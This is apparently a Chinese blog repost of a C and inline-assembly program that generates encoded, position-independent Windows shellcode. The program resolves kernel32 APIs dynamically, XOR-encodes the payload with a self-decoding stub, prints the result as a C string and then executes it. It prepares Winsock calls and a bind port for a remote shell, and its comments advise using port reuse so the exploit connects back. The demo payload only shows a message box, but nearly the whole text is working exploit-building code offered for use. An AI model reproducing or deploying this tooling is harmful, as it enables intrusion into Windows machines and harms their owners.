zoukankan      html  css  js  c++  java
  • 使用C语言编写提取通用shellcode的程序

    出处:internet 修改:Hume/冷雨飘心 测试:Win2K SP4 Local / Win2003 SP0 Local 注释:我非我[F.S.T] 说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode 用vc编译时请使用Release格式并取消优化设置,否则不能正常运行 */ #include <windows.h> #include <stdio.h> #include <winioctl.h> #define  DEBUG 1  //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode // //函数原型 // void     DecryptSc();  //shellcode解码函数,使用的是xor法加微调法 void     ShellCodes();  //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀 void     PrintSc(char *lpBuff, int buffsize);  //PrintSc函数用标准c格式打印 // //用到的部分定义 // #define  BEGINSTRLEN    0x08    //开始字符串长度 #define  ENDSTRLEN      0x08    //结束标记字符的长度 #define  nop_CODE       0x90    //填充字符,用于不确定shellcode入口用 #define  nop_LEN        0x0     //ShellCode起始的填充长度,真正shellcode的入口 #define  BUFFSIZE       0x20000 //输出缓冲区大小 #define  sc_PORT        7788    //绑定端口号 0x1e6c #define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小 #define  Enc_key        0x7A    //编码密钥 #define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够? #define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够? #define  MAX_api_strlen 0x400   //APIstr字符串的长度 #define  API_endstr     "strend"//API结尾标记字符串 #define  API_endstrlen  0x06    //标记字符串长度 //定义函数开始字符,定位用 #define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\ __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 #define PROC_END PROC_BEGIN //--------------------------------------------------- enum{       //Kernel32中的函数名定义,用于编写自定义的shellcode。下同 _CreatePipe, _CreateProcessA, _CloseHandle, _PeekNamedPipe, _ReadFile, _WriteFile, _ExitProcess, //WS2_32 _WSAStartup, _WSASocket _socket, _bind, _listen, _accept, _send, _recv, _ioctlsocket, _closesocket, //本机测试User32 _MessageBeep, _MessageBoxA, API_num }; // //代码这里开始 // int __cdecl main(int argc, char **argv) { //shellcode中要用到的字符串 static char ApiStr[]="\x1e\x6c"   //端口地址7788 //Kernel32中查找的API函数名称,用来查找函数地址,下同 "CreatePipe""\x0" "CreateProcessA""\x0" "CloseHandle""\x0" "PeekNamedPipe""\x0" "ReadFile""\x0" "WriteFile""\x0" "ExitProcess""\x0" //其它@PI中用到的API "wsock32.dll""\x0" "socket""\x0" "bind""\x0" "listen""\x0" "accept""\x0" "send""\x0" "recv""\x0" "ioctlsocket""\x0" "closesocket""\x0" //本机测试 "user32.dll""\x0" "MessageBeep""\x0" "MessageBoxA""\x0" "\x0\x0\x0\x0\x0" "strend"; char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串 char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串 char  buff[BUFFSIZE];         //缓冲区 char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲 char  *pDcrypt_addr, *pSc_addr; int   buff_len;               //缓冲长度 int   EncCode_len;            //加密编码代码长度 int   Sc_len;                 //原始ShellCode的长度 int       i,k; unsigned  char ch; // //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串 //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这 //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理 // pDcrypt_addr=(char *)DecryptSc; //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表, //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试 ch=*pDcrypt_addr; if (ch==0xe9) { pDcrypt_addr++; i=*(int *)pDcrypt_addr; pDcrypt_addr+=(i+4);      //此时指向DecryptSc函数的实际地址 } //找到解码代码的开始部分 for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break; if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);   //如找到定位实际代码的开始 else { //显示错误信息 k=0; printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n"); return 0; } for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break; if (k<MAX_Enc_Len) EncCode_len=k; else { k=0; printf("\nNo End str defined in Decrypt function!Please Check....\n"); return 0; } memset(buff,nop_CODE,BUFFSIZE);                       //缓冲区填充 memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);        //把DecryptSc代码复制进buff // //处理ShellCode代码,如果需要定位到代码的开始 // pSc_addr=(char *)ShellCodes;     //定位shellcode的地址 //调试状态下的函数地址处理,便于调试 ch=*pSc_addr; if (ch==0xe9) { pSc_addr++; i=*(int *)pSc_addr; pSc_addr+=(i+4);      //此时指向ShellCodes函数的实际地址 } //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的 /* for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break; if (k<MAX_Enc_Len) pSc_addr+=(k+8);   //如找到定位实际代码的开始 */ //找到shellcode的结尾及长度 for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break; if (k<MAX_Sc_Len) Sc_len=k; else { k=0; printf("\nNo End str defined in ShellCodes function!Please Check....\n"); return 0; } //把shellcode代码复制进sc_buff memcpy(sc_buff,pSc_addr,Sc_len); //把字符串拷贝在shellcode的结尾 for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break; if(i>=MAX_api_strlen) { printf("\nNo End str defined in API strings!Please Check....\n"); return 0; } memcpy(sc_buff+k,ApiStr,i); Sc_len+=i;        //增加shellcode的长度 // //对shellcode进行编码,算法简单,可根据需要改变 // k=EncCode_len+nop_LEN;    //定位缓冲区应存放ShellCode地址的开始 for(i=0;i<Sc_len;++i){ ch=sc_buff[i]^Enc_key; //对一些可能造成shellcode失效的字符进行替换,即微调法 if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+') { buff[k]='0'; ++k; ch+=0x31; } //把编码过的shellcode放在DecryptSc代码后面 buff[k]=ch; ++k; } //shellcode的总长度 buff_len=k; //打印出shellcode PrintSc(buff,buff_len); //buff[buff_len]=0; //printf("%s",buff); #ifdef DEBUG _asm{ lea eax,buff jmp eax ret } #endif return  0; } //解码shellcode的代码 void  DecryptSc() { __asm{ ///////////////////////// //定义开始标志 ///////////////////////// PROC_BEGIN    //C macro to begin proc jmp   next getEncCodeAddr: pop   edi push  edi pop   esi xor   ecx,ecx Decrypt_lop: lodsb cmp  al,cl jz   shell cmp  al,0x30  //判断是否为特殊字符 jz   special_char_clean  //是则跳到special_char_clean store: xor  al,Enc_key stosb jmp  Decrypt_lop special_char_clean:   //进行微调替换 lodsb sub al,0x31 jmp store next: call  getEncCodeAddr //其余真正加密的shellcode代码会连接在此处 shell: ///////////////////////// //定义结束标志 ///////////////////////// PROC_END      //C macro to end proc } } // //shellcode代码 // void ShellCodes() { //API低址数组 FARPROC     API[API_num]; //自己获取的API地址 FARPROC     GetProcAddr; FARPROC    LoadLib; HANDLE      hKrnl32; HANDLE      libhandle; char        *ApiStr_addr,*p; int         k; u_short     shellcodeport; ////////////测试用变量 char        *testAddr; ////////////////////// //这里是网络函数的变量定义,实际编写shellcode时可以使用。 /* STARTUPINFO siinfo; WSADATA     ws; SOCKET      listenFD,clientFD; struct      sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons(sc_PORT); server.sin_addr.s_addr=ADDR_ANY; int         iAddrSize = sizeof(server); int         lBytesRead; PROCESS_INFORMATION ProcessInformation; HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; SECURITY_ATTRIBUTES sa; */ _asm { jmp    locate_addr0 getApiStr_addr: pop    ApiStr_addr //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址 //以后就可以方便地获取任何API的地址了 //保护寄存器 pushad xor     esi,esi lods    dword ptr fs:[esi] Search_Krnl32_lop:      //搜索kernel32基址 inc     eax je      Krnl32_Base_Ok dec     eax xchg    esi,eax LODSD jmp     Search_Krnl32_lop Krnl32_Base_Ok: LODSD ;compare if PE_hdr xchg    esi,eax find_pe_header: dec     esi xor     si,si           ;kernel32 is 64kb align mov     eax,[esi] add     ax,-'ZM'        ; jne     find_pe_header mov     edi,[esi+3ch]   ;.e_lfanew mov     eax,[esi+edi] add     eax,-'EP'       ;anti heuristic change this if you are using MASM etc. jne     find_pe_header push     esi ;esi=VA Kernel32.BASE ;edi=RVA K32.pehdr mov     ebx,esi mov     edi,[ebx+edi+78h]  ;peh.DataDirectory push    edi push    esi mov     eax,[ebx+edi+20h]  ;peexc.AddressOfNames mov     edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals call    __getProcAddr _emit 0x47 _emit 0x65 _emit 0x74 _emit 0x50 _emit 0x72 _emit 0x6F _emit 0x63 _emit 0x41 _emit 0x64 _emit 0x64 _emit 0x72 _emit 0x65 _emit 0x73 _emit 0x73 _emit 0x0 //db     "GetProcAddress",0 __getProcAddr: pop     edi mov     ecx,15 sub     eax,4 next_: add     eax,4 add     edi,ecx sub     edi,15 mov     esi,[ebx+eax] add     esi,ebx mov     ecx,15 repz    cmpsb jnz     next_ pop     esi pop     edi sub     eax,[ebx+edi+20h]      ;peexc.AddressOfNames shr     eax,1 add     edx,ebx movzx   eax,word ptr [edx+eax] add     esi,[ebx+edi+1ch]       ;peexc.AddressOfFunctions add     ebx,[esi+eax*4]         ;ebx=Kernel32.GetProcAddress.addr ;用GetProcAddress和hModule来得到其他函数的地址 pop     esi                     ;esi=kernel32 Base mov     [hKrnl32],esi           //保存 mov     [GetProcAddr],ebx       //保存 call    _getLoadLib _emit 0x4C _emit 0x6F _emit 0x61 _emit 0x64 _emit 0x4C _emit 0x69 _emit 0x62 _emit 0x72 _emit 0x61 _emit 0x72 _emit 0x79 _emit 0x41 _emit 0x0 //db      "LoadLibraryA",0 _getLoadLib: push    esi call    ebx mov     [LoadLib],eax //恢复寄存器,避免更多问题 popad } //取出定义的端口地址 shellcodeport=*(u_short *)ApiStr_addr; ApiStr_addr+=2; //////////////////////////测试用地址 testAddr=ApiStr_addr; //////////////////////////////////// //利用GetProcAddress来获得shellcode中所用到的API地址 libhandle=hKrnl32; p=ApiStr_addr; k=0; ///* while ( *((unsigned int *)p) != 0) { ApiStr_addr=p; while(*p) p++;   //前进到下一个字符串 if (*( (unsigned int *)(p-4))=='lld.') { libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若为DLL则加载DLL } else { API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr); k++; } ApiStr_addr=++p; //更新指针前进一个字符位置 } //*/ /////////////////////////////////////////////////////////////////////////// //         下面就可以使用C语言来编写真正实现功能的shellcode了            // /////////////////////////////////////////////////////////////////////////// // //简单测试几个API看是否复合要求,只是弹出一个对话框 //这里的函数调用是通过 API[enum](argv); 调用的。这里的enum是指开头定义的枚举 //你可以自己替换以下的代码。推荐使用端口复用然后让你的exp主动连接。 // API[_MessageBeep](0x10); API[_MessageBoxA](0,testAddr,0,0x40); API[_ExitProcess](0); /////////////////////////////////////////////////////////////////////////// //                           shellcode功能部分结束                       // /////////////////////////////////////////////////////////////////////////// //死循环 die: goto die; __asm { locate_addr0: call getApiStr_addr      //5 bytes //真正的字符串数据要连接在此处 ///////////////////////// //定义结束标志 ///////////////////////// PROC_END      //C macro to end proc } } // //显示打印生成的shellcode的标准C格式代码 // void PrintSc(char *lpBuff, int buffsize) { int i,j; char *p; char msg[4]; for(i=0;i<buffsize;i++) { if((i%16)==0) if(i!=0) printf("\"\n\""); else printf("\""); sprintf(msg,"\\x%.2X",lpBuff[i]&0xff); for( p = msg, j=0; j < 4; p++, j++ ) { if(isupper(*p)) printf("%c", _tolower(*p)); else printf("%c", p[0]); } } printf("\";\n/*Shell total are %d bytes */\n",buffsize); }
  • 相关阅读:
    截图、贴图神器——Snipaste
    MySQL (InnoDB)在什么情况下无法使用索引
    美化博客园样式
    《快速阅读》全书脉络梳理
    MySQL 配置统计数据
    使用 MWeb + Typora 写作并发布到博客园
    浅谈操作系统的用户态和内核态
    一个后端工程师的开发软件
    程序写日志文件时该不该加锁 & PHP 写日志为什么加锁
    《小岛经济学》读书笔记
  • 原文地址:https://www.cnblogs.com/adodo1/p/4327814.html
Copyright © 2011-2022 走看看